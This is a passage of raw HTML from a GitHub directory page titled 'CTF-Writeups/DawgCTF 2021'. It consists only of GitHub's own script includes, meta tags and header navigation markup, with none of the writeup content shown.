data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups · GitHub</title> <meta name="description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta name="twitter:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta property="og:image:alt" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta property="og:url" content="https://github.com/mrajabinasab/CTF-Writeups" /><meta property="og:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B6AC:8943:101BDFC:1153368:61830701" data-pjax-transient="true"/><meta name="html-safe-nonce" content="c634be5e15bf9802a53bbdecb24c2e52a85aef7720e984668fa9a898cecd371c" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNkFDOjg5NDM6MTAxQkRGQzoxMTUzMzY4OjYxODMwNzAxIiwidmlzaXRvcl9pZCI6IjYzOTI2Njg0MDA2MTQ4MzU5NjkiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="6e6e7a7231304a3d2204ed206782af69ef40116fafdd1233441c98f52d0bed6f" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:308827834" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/mrajabinasab/CTF-Writeups git https://github.com/mrajabinasab/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="23614755" /><meta name="octolytics-dimension-user_login" content="mrajabinasab" /><meta name="octolytics-dimension-repository_id" content="308827834" /><meta name="octolytics-dimension-repository_nwo" content="mrajabinasab/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="308827834" /><meta name="octolytics-dimension-repository_network_root_nwo" content="mrajabinasab/CTF-Writeups" /> <link rel="canonical" href="https://github.com/mrajabinasab/CTF-Writeups/tree/main/DawgCTF%202021" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="308827834" data-scoped-search-url="/mrajabinasab/CTF-Writeups/search" data-owner-scoped-search-url="/users/mrajabinasab/search" data-unscoped-search-url="/search" action="/mrajabinasab/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" 